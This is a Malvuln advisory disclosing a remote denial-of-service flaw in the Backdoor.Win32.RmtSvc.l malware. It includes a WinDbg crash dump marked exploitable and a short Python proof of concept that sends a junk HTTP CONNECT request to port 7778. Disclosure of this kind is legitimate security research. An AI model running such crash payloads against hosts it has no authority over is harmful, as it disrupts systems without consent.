Backdoor.Win32.RmtSvc.l Denial Of Service

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/38f9ee3ce51ead0ce6bf2edcaa462611.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.RmtSvc.l  
Vulnerability: Remote Denial of Service  
Description: The malware listens on TCP port 7778. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP CONNECT request to trigger an access violation and crash.  
Type: PE32  
MD5: 38f9ee3ce51ead0ce6bf2edcaa462611  
Vuln ID: MVID-2021-0348   
Disclosure: 09/25/2021   
  
Memory Dump:  
(2898.3768): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003  
eip=776ced3c esp=0454f08c ebp=0454f21c iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
776ced3c c21400 ret 14h  
  
0:004> .ecxr  
eax=74006082 ebx=0454fc94 ecx=00000000 edx=00000000 esi=00000000 edi=74006082  
eip=004440a8 esp=0454f9cc ebp=74006082 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
*** WARNING: Unable to verify checksum for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe  
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8:  
004440a8 c6043e00 mov byte ptr [esi+edi],0 ds:002b:74006082=00  
  
0:004> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
  
FAULTING_IP:   
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8  
004440a8 c6043e00 mov byte ptr [esi+edi],0  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 004440a8 (Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x000440a8)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 74006082  
Attempt to write to address 74006082  
  
PROCESS_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 74006082  
  
WRITE_ADDRESS: 74006082   
  
FOLLOWUP_IP:   
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8  
004440a8 c6043e00 mov byte ptr [esi+edi],0  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00003768  
  
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE  
  
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE  
  
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE  
  
LAST_CONTROL_TRANSFER: from 004484dd to 004440a8  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0454f9d8 004484dd 74006082 00000000 74006082 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8  
0454fc94 00000000 00000000 09ac8600 00000000 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x484dd  
  
  
STACK_COMMAND: ~4s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611  
  
IMAGE_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 45b41639  
  
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=7778  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
JUNK="A"*1000   
PAYLOAD="CONNECT /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"  
s.send(PAYLOAD)  
s.close()  
  
  
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